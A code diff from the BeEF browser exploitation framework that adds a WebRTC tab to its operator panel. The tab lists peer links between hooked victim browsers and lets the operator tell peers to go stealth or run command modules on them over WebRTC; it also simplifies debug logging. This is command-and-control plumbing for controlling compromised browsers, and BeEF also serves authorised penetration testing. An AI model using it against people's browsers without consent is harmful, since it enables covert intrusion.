if (beefrtcs[peerid].verbose) {beef.debug('Set session description success.');}
|
beef.debug('Set session description success.');
|
||||||
}
|
}
|
||||||
|
|
||||||
function onSetSessionDescriptionError() {
|
function onSetSessionDescriptionError() {
|
||||||
if (beefrtcs[peerid].verbose) {beef.debug('Failed to set session description');}
|
beef.debug('Failed to set session description');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// If the browser can't build an SDP
|
// If the browser can't build an SDP
|
||||||
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
|
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
|
||||||
var localverbose = false;
|
beef.debug('Failed to create session description: ' + error.toString());
|
||||||
|
|
||||||
for (var k in beefrtcs) {
|
|
||||||
if (beefrtcs[k].verbose === true) {
|
|
||||||
localverbose = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (localverbose === true) {beef.debug('Failed to create session description: ' + error.toString());}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// If the browser successfully sets a remote description
|
// If the browser successfully sets a remote description
|
||||||
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
|
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
|
||||||
var localverbose = false;
|
beef.debug('Set remote session description successfully');
|
||||||
|
|
||||||
for (var k in beefrtcs) {
|
|
||||||
if (beefrtcs[k].verbose === true) {
|
|
||||||
localverbose = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (localverbose === true) {beef.debug('Set remote session description successfully');}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
|
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
|
||||||
@@ -475,15 +456,15 @@ Beefwebrtc.prototype.calleeStart = function() {
|
|||||||
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
|
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
|
||||||
Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
||||||
if (!this.started) {
|
if (!this.started) {
|
||||||
if (this.verbose) {beef.debug('peerConnection has not been created yet!');}
|
beef.debug('peerConnection has not been created yet!');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (message.type === 'offer') {
|
if (message.type === 'offer') {
|
||||||
if (this.verbose) {beef.debug("Processing signalling message: OFFER");}
|
beef.debug("Processing signalling message: OFFER");
|
||||||
if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
|
if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
|
||||||
// version of FF - which no longer works
|
// version of FF - which no longer works
|
||||||
if (this.verbose) {beef.debug("Moz shim here");}
|
beef.debug("Moz shim here");
|
||||||
globalrtc[this.peerid].setRemoteDescription(
|
globalrtc[this.peerid].setRemoteDescription(
|
||||||
new RTCSessionDescription(message),
|
new RTCSessionDescription(message),
|
||||||
function() {
|
function() {
|
||||||
@@ -518,9 +499,9 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
|||||||
this.doAnswer();
|
this.doAnswer();
|
||||||
}
|
}
|
||||||
} else if (message.type === 'answer') {
|
} else if (message.type === 'answer') {
|
||||||
if (this.verbose) {beef.debug("Processing signalling message: ANSWER");}
|
beef.debug("Processing signalling message: ANSWER");
|
||||||
if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
|
if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
|
||||||
if (this.verbose) {beef.debug("Moz shim here");}
|
beef.debug("Moz shim here");
|
||||||
globalrtc[this.peerid].setRemoteDescription(
|
globalrtc[this.peerid].setRemoteDescription(
|
||||||
new RTCSessionDescription(message),
|
new RTCSessionDescription(message),
|
||||||
function() {},
|
function() {},
|
||||||
@@ -531,7 +512,7 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
|||||||
this.setRemote(message);
|
this.setRemote(message);
|
||||||
}
|
}
|
||||||
} else if (message.type === 'candidate') {
|
} else if (message.type === 'candidate') {
|
||||||
if (this.verbose) {beef.debug("Processing signalling message: CANDIDATE");}
|
beef.debug("Processing signalling message: CANDIDATE");
|
||||||
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
|
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
|
||||||
candidate: message.candidate});
|
candidate: message.candidate});
|
||||||
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
|
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
|
||||||
@@ -545,15 +526,11 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
|||||||
Beefwebrtc.prototype.setRemote = function(message) {
|
Beefwebrtc.prototype.setRemote = function(message) {
|
||||||
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
|
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
|
||||||
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
|
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
|
||||||
|
|
||||||
// function onSetRemoteDescriptionSuccess() {
|
|
||||||
// if (this.verbose) {beef.debug("Set remote session description success.");}
|
|
||||||
// }
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
|
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
|
||||||
Beefwebrtc.prototype.doAnswer = function() {
|
Beefwebrtc.prototype.doAnswer = function() {
|
||||||
if (this.verbose) {beef.debug('Sending answer to peer.');}
|
beef.debug('Sending answer to peer.');
|
||||||
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
|
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -570,31 +547,17 @@ Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
|
|||||||
|
|
||||||
// Event handler for successful addition of ICE Candidates
|
// Event handler for successful addition of ICE Candidates
|
||||||
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
|
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
|
||||||
var localverbose = false;
|
beef.debug('AddIceCandidate success.');
|
||||||
|
|
||||||
for (var k in beefrtcs) {
|
|
||||||
if (beefrtcs[k].verbose === true) {
|
|
||||||
localverbose = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (localverbose === true) {beef.debug('AddIceCandidate success.');}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Event handler for unsuccessful addition of ICE Candidates
|
// Event handler for unsuccessful addition of ICE Candidates
|
||||||
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
|
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
|
||||||
var localverbose = false;
|
beef.debug('Failed to add Ice Candidate: ' + error.toString());
|
||||||
|
|
||||||
for (var k in beefrtcs) {
|
|
||||||
if (beefrtcs[k].verbose === true) {
|
|
||||||
localverbose = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (localverbose === true) {beef.debug('Failed to add Ice Candidate: ' + error.toString());}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// If a peer hangs up (we bring down the peerconncetion via the stop() method)
|
// If a peer hangs up (we bring down the peerconncetion via the stop() method)
|
||||||
Beefwebrtc.prototype.onRemoteHangup = function() {
|
Beefwebrtc.prototype.onRemoteHangup = function() {
|
||||||
if (this.verbose) {beef.debug('Session terminated.');}
|
beef.debug('Session terminated.');
|
||||||
this.initiator = 0;
|
this.initiator = 0;
|
||||||
// transitionToWaiting();
|
// transitionToWaiting();
|
||||||
this.stop();
|
this.stop();
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ module API
|
|||||||
#NOTE: order counts! make sure you know what you're doing if you add files
|
#NOTE: order counts! make sure you know what you're doing if you add files
|
||||||
esapi = %w(esapi/Class.create.js esapi/jquery-1.6.4.min.js esapi/jquery-encoder-0.1.0.js)
|
esapi = %w(esapi/Class.create.js esapi/jquery-1.6.4.min.js esapi/jquery-encoder-0.1.0.js)
|
||||||
ux = %w(ui/common/beef_common.js ux/PagingStore.js ux/StatusBar.js ux/TabCloseMenu.js)
|
ux = %w(ui/common/beef_common.js ux/PagingStore.js ux/StatusBar.js ux/TabCloseMenu.js)
|
||||||
panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js)
|
panel = %w(ui/panel/common.js ui/panel/DistributedEngine.js ui/panel/PanelStatusBar.js ui/panel/tabs/ZombieTabDetails.js ui/panel/tabs/ZombieTabLogs.js ui/panel/tabs/ZombieTabCommands.js ui/panel/tabs/ZombieTabRider.js ui/panel/tabs/ZombieTabXssRays.js wterm/wterm.jquery.js ui/panel/tabs/ZombieTabIpec.js ui/panel/tabs/ZombieTabAutorun.js ui/panel/PanelViewer.js ui/panel/DataGrid.js ui/panel/MainPanel.js ui/panel/ZombieTab.js ui/panel/ZombieTabs.js ui/panel/zombiesTreeList.js ui/panel/ZombiesMgr.js ui/panel/tabs/ZombieTabNetwork.js ui/panel/tabs/ZombieTabRTC.js ui/panel/Logout.js ui/panel/WelcomeTab.js ui/panel/ModuleSearching.js)
|
||||||
|
|
||||||
global_js = esapi + ux + panel
|
global_js = esapi + ux + panel
|
||||||
|
|
||||||
|
|||||||
@@ -114,7 +114,8 @@ module BeEF
|
|||||||
'has_quicktime' => has_quicktime,
|
'has_quicktime' => has_quicktime,
|
||||||
'has_wmp' => has_wmp,
|
'has_wmp' => has_wmp,
|
||||||
'has_realplayer' => has_realplayer,
|
'has_realplayer' => has_realplayer,
|
||||||
'date_stamp' => date_stamp
|
'date_stamp' => date_stamp,
|
||||||
|
'hb_id' => hooked_browser.id
|
||||||
}
|
}
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -80,6 +80,12 @@
|
|||||||
background-image: url(../images/icons/xssrays.png);
|
background-image: url(../images/icons/xssrays.png);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.zombie-tree-ctxMenu-rtc {
|
||||||
|
background-image: url(../images/icons/network.png);
|
||||||
|
background-size: 24px 24px;
|
||||||
|
background-repeat: no-repeat;
|
||||||
|
}
|
||||||
|
|
||||||
.zombie-tree-ctxMenu-delete {
|
.zombie-tree-ctxMenu-delete {
|
||||||
background-image: url(../images/icons/delete.png);
|
background-image: url(../images/icons/delete.png);
|
||||||
background-size: 32px 32px;
|
background-size: 32px 32px;
|
||||||
|
|||||||
@@ -13,6 +13,7 @@ if(typeof beefwui === 'undefined' && typeof window.beefwui === 'undefined') {
|
|||||||
var BeefWUI = {
|
var BeefWUI = {
|
||||||
|
|
||||||
rest_token: "",
|
rest_token: "",
|
||||||
|
hooked_browsers: {},
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Retrieve the token needed to call the RESTful API.
|
* Retrieve the token needed to call the RESTful API.
|
||||||
@@ -37,7 +38,107 @@ if(typeof beefwui === 'undefined' && typeof window.beefwui === 'undefined') {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
return this.rest_token;
|
return this.rest_token;
|
||||||
}
|
},
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get hooked browser ID from session
|
||||||
|
*/
|
||||||
|
get_hb_id: function(sess){
|
||||||
|
var id = "";
|
||||||
|
$jwterm.ajax({
|
||||||
|
type: 'GET',
|
||||||
|
url: "/api/hooks/?token=" + this.get_rest_token(),
|
||||||
|
async: false,
|
||||||
|
processData: false,
|
||||||
|
success: function(data){
|
||||||
|
for (var k in data['hooked-browsers']['online']) {
|
||||||
|
if (data['hooked-browsers']['online'][k].session === sess) {
|
||||||
|
id = data['hooked-browsers']['online'][k].id;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (id === "") {
|
||||||
|
for (var k in data['hooked-browsers']['offline']) {
|
||||||
|
if (data['hooked-browsers']['offline'][k].session === sess) {
|
||||||
|
id = data['hooked-browsers']['offline'][k].id;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
error: function(){
|
||||||
|
commands_statusbar.update_fail("Error getting hb id");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return id;
|
||||||
|
},
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get hooked browser info from ID
|
||||||
|
*/
|
||||||
|
get_info_from_id: function(id) {
|
||||||
|
var info = {};
|
||||||
|
$jwterm.ajax({
|
||||||
|
type: 'GET',
|
||||||
|
url: "/api/hooks/?token=" + this.get_rest_token(),
|
||||||
|
async: false,
|
||||||
|
processData: false,
|
||||||
|
success: function(data){
|
||||||
|
for (var k in data['hooked-browsers']['online']) {
|
||||||
|
if (data['hooked-browsers']['online'][k].id === id) {
|
||||||
|
info = data['hooked-browsers']['online'][k];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($jwterm.isEmptyObject(info)) {
|
||||||
|
for (var k in data['hooked-browsers']['offline']) {
|
||||||
|
if (data['hooked-browsers']['offline'][k].id === id) {
|
||||||
|
info = data['hooked-browsers']['offline'][k];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
error: function(){
|
||||||
|
commands_statusbar.update_fail("Error getting hb ip");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
console.log(info);
|
||||||
|
return info;
|
||||||
|
|
||||||
|
},
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get hooked browser info from ID
|
||||||
|
*/
|
||||||
|
get_fullinfo_from_id: function(id) {
|
||||||
|
var info = {};
|
||||||
|
$jwterm.ajax({
|
||||||
|
type: 'POST',
|
||||||
|
url: "<%= @base_path %>/panel/hooked-browser-tree-update.json",
|
||||||
|
async: false,
|
||||||
|
processData: false,
|
||||||
|
success: function(data){
|
||||||
|
for (var k in data['hooked-browsers']['online']) {
|
||||||
|
if (data['hooked-browsers']['online'][k].id === id) {
|
||||||
|
info = data['hooked-browsers']['online'][k];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($jwterm.isEmptyObject(info)) {
|
||||||
|
for (var k in data['hooked-browsers']['offline']) {
|
||||||
|
if (data['hooked-browsers']['offline'][k].id === id) {
|
||||||
|
info = data['hooked-browsers']['offline'][k];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
error: function(){
|
||||||
|
commands_statusbar.update_fail("Error getting hb ip");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
console.log(info);
|
||||||
|
return info;
|
||||||
|
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
window.beefwui = BeefWUI;
|
window.beefwui = BeefWUI;
|
||||||
|
|||||||
@@ -59,6 +59,7 @@ Ext.TaskMgr.start({
|
|||||||
hr.innerHTML = "You appear to be logged out. <a href='<%= @base_path %>/panel/'>Login</a>";
|
hr.innerHTML = "You appear to be logged out. <a href='<%= @base_path %>/panel/'>Login</a>";
|
||||||
}
|
}
|
||||||
var distributed_engine_rules = (updates['ditributed-engine-rules']) ? updates['ditributed-engine-rules'] : null;
|
var distributed_engine_rules = (updates['ditributed-engine-rules']) ? updates['ditributed-engine-rules'] : null;
|
||||||
|
beefwui.hooked_browsers = (updates['hooked-browsers']); //? updates['hooked-browsers'] : null;
|
||||||
var hooked_browsers = (updates['hooked-browsers']) ? updates['hooked-browsers'] : null;
|
var hooked_browsers = (updates['hooked-browsers']) ? updates['hooked-browsers'] : null;
|
||||||
|
|
||||||
if(zombiesManager && hooked_browsers) {
|
if(zombiesManager && hooked_browsers) {
|
||||||
@@ -80,4 +81,4 @@ Ext.TaskMgr.start({
|
|||||||
},
|
},
|
||||||
|
|
||||||
interval: 8000
|
interval: 8000
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -13,6 +13,7 @@ ZombieTab = function(zombie) {
|
|||||||
ipec_tab = new ZombieTab_IpecTab(zombie);
|
ipec_tab = new ZombieTab_IpecTab(zombie);
|
||||||
autorun_tab = new ZombieTab_Autorun(zombie);
|
autorun_tab = new ZombieTab_Autorun(zombie);
|
||||||
network_tab = new ZombieTab_Network(zombie);
|
network_tab = new ZombieTab_Network(zombie);
|
||||||
|
rtc_tab = new ZombieTab_Rtc(zombie);
|
||||||
|
|
||||||
ZombieTab.superclass.constructor.call(this, {
|
ZombieTab.superclass.constructor.call(this, {
|
||||||
id:"current-browser",
|
id:"current-browser",
|
||||||
@@ -25,7 +26,7 @@ ZombieTab = function(zombie) {
|
|||||||
forceFit: true,
|
forceFit: true,
|
||||||
type: 'fit'
|
type: 'fit'
|
||||||
},
|
},
|
||||||
items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab, ipec_tab, autorun_tab, network_tab],
|
items:[main_tab, log_tab, commands_tab, requester_tab, xssrays_tab, ipec_tab, autorun_tab, network_tab, rtc_tab],
|
||||||
listeners:{
|
listeners:{
|
||||||
afterrender:function(component){
|
afterrender:function(component){
|
||||||
// Hide auto-run tab
|
// Hide auto-run tab
|
||||||
|
|||||||
@@ -32,6 +32,7 @@ var ZombiesMgr = function(zombies_tree_lists) {
|
|||||||
var has_quicktime = zombie_array[index]["has_quicktime"];
|
var has_quicktime = zombie_array[index]["has_quicktime"];
|
||||||
var has_realplayer = zombie_array[index]["has_realplayer"];
|
var has_realplayer = zombie_array[index]["has_realplayer"];
|
||||||
var date_stamp = zombie_array[index]["date_stamp"];
|
var date_stamp = zombie_array[index]["date_stamp"];
|
||||||
|
var hb_id = zombie_array[index]["hb_id"];
|
||||||
|
|
||||||
text = "<img src='<%= @base_path %>/media/images/icons/"+escape(browser_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
|
text = "<img src='<%= @base_path %>/media/images/icons/"+escape(browser_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
|
||||||
text+= "<img src='<%= @base_path %>/media/images/icons/"+escape(os_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
|
text+= "<img src='<%= @base_path %>/media/images/icons/"+escape(os_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
|
||||||
@@ -75,6 +76,7 @@ var ZombiesMgr = function(zombies_tree_lists) {
|
|||||||
this.updateZombies = function(zombies, rules){
|
this.updateZombies = function(zombies, rules){
|
||||||
var offline_hooked_browsers = zombies["offline"];
|
var offline_hooked_browsers = zombies["offline"];
|
||||||
var online_hooked_browsers = zombies["online"];
|
var online_hooked_browsers = zombies["online"];
|
||||||
|
beefwui.hooked_browsers = zombies["online"];
|
||||||
|
|
||||||
for(tree_type in this.zombies_tree_lists) {
|
for(tree_type in this.zombies_tree_lists) {
|
||||||
hooked_browsers_tree = this.zombies_tree_lists[tree_type];
|
hooked_browsers_tree = this.zombies_tree_lists[tree_type];
|
||||||
|
|||||||
@@ -357,7 +357,13 @@ function genNewExploitPanel(panel, command_module_id, command_module_name, zombi
|
|||||||
fieldLabel: 'Description',
|
fieldLabel: 'Description',
|
||||||
fieldClass: 'command-module-panel-description',
|
fieldClass: 'command-module-panel-description',
|
||||||
value: module.Description
|
value: module.Description
|
||||||
})
|
}),
|
||||||
|
new Ext.form.DisplayField({
|
||||||
|
name: 'command_module_id_visible',
|
||||||
|
fieldLabel: 'Id',
|
||||||
|
fieldClass: 'command-module-panel-description',
|
||||||
|
value: command_module_id
|
||||||
|
})
|
||||||
],
|
],
|
||||||
|
|
||||||
buttons:[{
|
buttons:[{
|
||||||
|
|||||||
@@ -0,0 +1,330 @@
|
|||||||
|
//
|
||||||
|
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||||
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
// See the file 'doc/COPYING' for copying permission
|
||||||
|
//
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The RTC tab panel for the selected zombie browser.
|
||||||
|
* Loaded in /ui/panel/index.html
|
||||||
|
*/
|
||||||
|
ZombieTab_Rtc = function(zombie) {
|
||||||
|
var zombie_id = beefwui.get_hb_id(zombie.session);
|
||||||
|
|
||||||
|
// The status bar.
|
||||||
|
var commands_statusbar = new Beef_StatusBar('network-bbar-zombie-'+zombie.session);
|
||||||
|
// RESTful API token
|
||||||
|
var token = beefwui.get_rest_token();
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The panel that displays all identified network services grouped by host
|
||||||
|
********************************************/
|
||||||
|
var rtc_events_panel_store = new Ext.ux.data.PagingJsonStore({
|
||||||
|
storeId: 'rtc-events-store-zombie-'+zombie.session,
|
||||||
|
proxy: new Ext.data.HttpProxy({
|
||||||
|
url: '/api/webrtc/events/'+zombie_id+'?token='+token,
|
||||||
|
method: 'GET'
|
||||||
|
}),
|
||||||
|
remoteSort: false,
|
||||||
|
autoDestroy: true,
|
||||||
|
autoLoad: false,
|
||||||
|
root: 'events',
|
||||||
|
fields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at'],
|
||||||
|
sortInfo: {field: 'id', direction: 'ASC'}
|
||||||
|
});
|
||||||
|
|
||||||
|
var req_pagesize = 50;
|
||||||
|
|
||||||
|
var rtc_events_panel_bbar = new Ext.PagingToolbar({
|
||||||
|
pageSize: req_pagesize,
|
||||||
|
store: rtc_events_panel_store,
|
||||||
|
displayInfo: true,
|
||||||
|
displayMsg: 'Displaying RTC events {0} - {1} of {2}',
|
||||||
|
emptyMsg: 'No events to display'
|
||||||
|
});
|
||||||
|
|
||||||
|
var rtc_events_panel_grid = new Ext.grid.GridPanel({
|
||||||
|
id: 'rtc-events-grid-zombie-'+zombie.session,
|
||||||
|
store: rtc_events_panel_store,
|
||||||
|
bbar: rtc_events_panel_bbar,
|
||||||
|
border: false,
|
||||||
|
loadMask: {msg:'Loading events...'},
|
||||||
|
|
||||||
|
viewConfig: {
|
||||||
|
forceFit: true
|
||||||
|
},
|
||||||
|
|
||||||
|
view: new Ext.grid.GridView({
|
||||||
|
forceFit: true,
|
||||||
|
emptyText: "No events",
|
||||||
|
enableRowBody:true
|
||||||
|
}),
|
||||||
|
|
||||||
|
columns: [
|
||||||
|
{header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true},
|
||||||
|
{header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true},
|
||||||
|
{header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){
|
||||||
|
if (value === zombie_id) {
|
||||||
|
return $jEncoder.encoder.encodeForHTML(value) + " (selected)";
|
||||||
|
} else {
|
||||||
|
// return $jEncoder.encoder.encodeForHTML(value) + " <img src='/ui/media/images/icons/chrome.png' style='padding-top:3px;' width='13px' height='13px'/> (" + beefwui.get_info_from_id(value) + ")";
|
||||||
|
return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value)['ip'] + ")";
|
||||||
|
}
|
||||||
|
}},
|
||||||
|
{header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
|
||||||
|
{header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}},
|
||||||
|
{header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}
|
||||||
|
],
|
||||||
|
|
||||||
|
listeners: {
|
||||||
|
contextmenu: function(e, element, options) {
|
||||||
|
e.preventDefault();
|
||||||
|
},
|
||||||
|
containercontextmenu: function(view, e) {
|
||||||
|
e.preventDefault();
|
||||||
|
},
|
||||||
|
rowcontextmenu: function(grid, rowIndex, e) {
|
||||||
|
e.preventDefault();
|
||||||
|
grid.getSelectionModel().selectRow(rowIndex);
|
||||||
|
if (!!grid.rowCtxMenu) {
|
||||||
|
grid.rowCtxMenu.destroy();
|
||||||
|
}
|
||||||
|
var record = grid.selModel.getSelected();
|
||||||
|
if (record.json.status==="Connected") {
|
||||||
|
grid.rowCtxMenu = new Ext.menu.Menu({
|
||||||
|
items: [
|
||||||
|
{
|
||||||
|
text: "Command Peer to Stealth",
|
||||||
|
handler: function() {
|
||||||
|
if (zombie_id === record.json.hb_id) {
|
||||||
|
var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token();
|
||||||
|
Ext.Ajax.request({
|
||||||
|
url: url,
|
||||||
|
method: 'POST',
|
||||||
|
headers: {'Content-Type': 'application/json; charset=UTF-8'},
|
||||||
|
jsonData: {
|
||||||
|
'from': record.json.hb_id,
|
||||||
|
'to': record.json.target_id,
|
||||||
|
'message': "!gostealth"
|
||||||
|
}
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token();
|
||||||
|
Ext.Ajax.request({
|
||||||
|
url: url,
|
||||||
|
method: 'POST',
|
||||||
|
headers: {'Content-Type': 'application/json; charset=UTF-8'},
|
||||||
|
jsonData: {
|
||||||
|
'from': record.json.target_id,
|
||||||
|
'to': record.json.hb_id,
|
||||||
|
'message': "!gostealth"
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},{
|
||||||
|
text: "Execute Command Module via RTC",
|
||||||
|
handler: function() {
|
||||||
|
var url = "/api/webrtc/cmdexec?token=" + beefwui.get_rest_token();
|
||||||
|
var cmd_id = prompt("Enter command module ID:");
|
||||||
|
var cmd_opts = prompt("Parameters:");
|
||||||
|
if (cmd_opts == "") {
|
||||||
|
cmd_opts = "[]";
|
||||||
|
}
|
||||||
|
cmd_opts = JSON.parse(cmd_opts);
|
||||||
|
if (!cmd_id || cmd_id == "") {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (zombie_id === record.json.hb_id) {
|
||||||
|
Ext.Ajax.request({
|
||||||
|
url: url,
|
||||||
|
method: 'POST',
|
||||||
|
headers: {'Content-Type': 'application/json; charset=UTF-8'},
|
||||||
|
jsonData: {
|
||||||
|
'from': record.json.hb_id,
|
||||||
|
'to': record.json.target_id,
|
||||||
|
'cmdid': cmd_id,
|
||||||
|
'options': cmd_opts
|
||||||
|
}
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
Ext.Ajax.request({
|
||||||
|
url: url,
|
||||||
|
method: 'POST',
|
||||||
|
headers: {'Content-Type': 'application/json; charset=UTF-8'},
|
||||||
|
jsonData: {
|
||||||
|
'from': record.json.target_id,
|
||||||
|
'to': record.json.hb_id,
|
||||||
|
'cmdid': cmd_id,
|
||||||
|
'options': cmd_opts
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
});
|
||||||
|
grid.rowCtxMenu.showAt(e.getXY());
|
||||||
|
} else if (record.json.status==="Stealthed!!") {
|
||||||
|
grid.rowCtxMenu = new Ext.menu.Menu({
|
||||||
|
items: [
|
||||||
|
{
|
||||||
|
text: "Command Peer to un-stealth",
|
||||||
|
handler: function() {
|
||||||
|
if (zombie_id === record.json.hb_id) {
|
||||||
|
var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token();
|
||||||
|
Ext.Ajax.request({
|
||||||
|
url: url,
|
||||||
|
method: 'POST',
|
||||||
|
headers: {'Content-Type': 'application/json; charset=UTF-8'},
|
||||||
|
jsonData: {
|
||||||
|
'from': record.json.hb_id,
|
||||||
|
'to': record.json.target_id,
|
||||||
|
'message': "!endstealth"
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},{
|
||||||
|
text: "Execute Command Module via RTC",
|
||||||
|
handler: function() {
|
||||||
|
var url = "/api/webrtc/cmdexec?token=" + beefwui.get_rest_token();
|
||||||
|
var cmd_id = prompt("Enter command module ID:");
|
||||||
|
var cmd_opts = prompt("Parameters:");
|
||||||
|
if (cmd_opts == "") {
|
||||||
|
cmd_opts = "[]";
|
||||||
|
}
|
||||||
|
cmd_opts = JSON.parse(cmd_opts);
|
||||||
|
if (!cmd_id || cmd_id == "") {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Ext.Ajax.request({
|
||||||
|
url: url,
|
||||||
|
method: 'POST',
|
||||||
|
headers: {'Content-Type': 'application/json; charset=UTF-8'},
|
||||||
|
jsonData: {
|
||||||
|
'from': record.json.hb_id,
|
||||||
|
'to': record.json.target_id,
|
||||||
|
'cmdid': cmd_id,
|
||||||
|
'options': cmd_opts
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
});
|
||||||
|
grid.rowCtxMenu.showAt(e.getXY());
|
||||||
|
}
|
||||||
|
},
|
||||||
|
afterrender: function(datagrid) {
|
||||||
|
datagrid.store.reload({params: {nonce: Ext.get("nonce").dom.value}});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
var rtc_events_panel = new Ext.Panel({
|
||||||
|
id: 'rtc-events-host-panel-zombie-'+zombie.session,
|
||||||
|
title: 'Peers',
|
||||||
|
